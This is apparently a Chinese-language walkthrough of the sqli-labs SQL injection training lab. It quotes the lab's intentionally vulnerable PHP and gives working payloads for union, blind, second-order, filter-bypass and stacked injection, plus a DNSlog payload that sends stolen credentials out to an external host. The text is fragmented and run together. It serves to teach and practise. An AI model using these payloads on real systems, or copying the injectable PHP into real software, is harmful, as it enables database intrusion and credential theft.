<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity //注意get传参 获取到输入的id后先打开一个result.txt然后把你上传的写入到那个文件里 这样你再一次操作后你就可以看到你的注入语句真正注进去的是啥了 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //上面一行中$id前后的符号是关键，是注入语句闭合的符号 $result=mysql_query($sql); $row = mysql_fetch_array($result);
也就是说你在前四关能看见的绿字在 5-8 关用 you are in 替换了 也就是你之前查的库名 表名 列名 和数据不会回显了 当使用布尔盲注时 如果判断正确就会显示 you are in 不正确的话就会报错 下图是第五关第一个用户名 最后一步注入语句 之前步骤参考第 1 到 4 关查各类信息的语句并用布尔盲注所用函数包装
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '1 ?id=-1' union select 1,(select group_concat(username) from users),'3
在末尾构造语句使闭合符号与语句组成一个不影响的语句 闭合方式多种多样
二次注入
首先注册一个用户 admin‘# 然后登录 修改密码 当你修改密码时 后台就执行了
1
UPDATE users SET passwd="新密码" WHERE username =' admin' # ' AND password='
也就是 你用 admin’#用户把 admin 用户的密码给改了
过滤
过滤 or 和 and
将 payload 里所有 and 和 or 替换为 anandd 和 oorr 这里 password 也要变成 passwoorrd
1
?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from users#
过滤下的报错注入
26
1 2 3 4 5 6 7 8
$id= preg_replace('/or/i',"", $id); /strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); /Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); /strip out */ $id= preg_replace('/[--]/',"", $id); /Strip out -- $id= preg_replace('/[#]/',"", $id); /Strip out # $id= preg_replace('/[\s]/',"", $id); /Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); /Strip out slashes return$id;
在 SQL 中，分号（;）是用来表示一条 sql 语句的结束。结束一个 sql 语句后继续构造下一条语句，会一起执行 因此产生了堆叠注入。而 union injection（联合注入）也是将两条语句合并在一起，两者之间区别在于 union 或者 union all 执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句 堆叠注入为攻击者提供了很多的攻击手段，通过添加一个新 的查询或者终止查询，可以达到修改数据和调用存储过程的目的。这种技术在 SQL 注入中还是比较频繁的。 如下展示了堆叠注入插入了一个用户数据
同时也可以进行 dnslog 注入
1
?id=1';select load_file(concat('//',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.au0mvd.dnslog.cn/1.txt'));--+
// Check connection if (mysqli_connect_errno($con1)) { echo"Failed to connect to MySQL: " . mysqli_connect_error(); } else { @mysqli_select_db($con1, $dbname) ordie ( "Unable to connect to the database ######: "); } /* execute multi query */ $sql = "SELECT * FROM users WHERE username='$username' and password='$password'"; if (@mysqli_multi_query($con1, $sql)) { /* store first result set */ if($result = @mysqli_store_result($con1)) { if($row = @mysqli_fetch_row($result)){ if ($row[1]) { return$row[1]; } else{ return0; } } }
<?php id注入部分代码 //including the Mysql connect parameters. include'../sql-connections/sql-connect-1.php'; include'../sql-connections/functions.php'; error_reporting(0); $pag = $_SERVER['PHP_SELF']; /generating page address to piggy back after redirects... $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; /characterset for generating random data $times= 10; $table = table_name(); $col = column_name(1); / session id column name $col1 = column_name(2); /secret key column name / Submitting the final answer if(!isset($_POST['answer_key'])){ / resetting the challenge and repopulating the table . if(isset($_POST['reset'])){ setcookie('challenge', ' ', time() - 3600000); echo"<font size=4>You have reset the Challenge</font><br>\n"; echo"Redirecting you to main challenge page..........\n"; header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" ); //echo "cookie expired";
} else{ / Checking the cookie on the page and populate the table with random value. if(isset($_COOKIE['challenge'])){ $sessid=$_COOKIE['challenge']; //echo "Cookie value: ".$sessid; } else{ $expire = time()+60*60*24*30; $hash = data($table,$col); setcookie("challenge", $hash, $expire);
}
echo"<br>\n"; /take the variables if(isset($_GET['id'])){ $id=$_GET['id']; /logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); /update the counter in database next_tryy(); /Display attempts on screen. $tryyy = view_attempts(); echo"You have made : ". $tryyy ." of $times attempts"; echo"<br><br><br>\n"; /Reset the Database if you exceed allowed attempts. if($tryyy >= ($times+1)){ setcookie('challenge', ' ', time() - 3600000); echo"<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n"; echo"Redirecting you to challenge page..........\n"; header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" ); echo"<br>\n"; } / Querry DB to get the correct output $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo'<font color= "#00FFFF">'; echo'Your Login name:'. $row['username']; echo"<br>"; echo'Your Password:' .$row['password']; echo"</font>"; } else { echo'<font color= "#FFFF00">'; // print_r(mysql_error()); echo"</font>"; } } else{ echo"Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>"; echo"<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>"; echo"For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ; } } }
这里我采用了辨识度更高的时间盲注 布尔盲注同样使用
同时也可以进行 dnslog 注入
58-62 可以报错注入
wechat
alipay
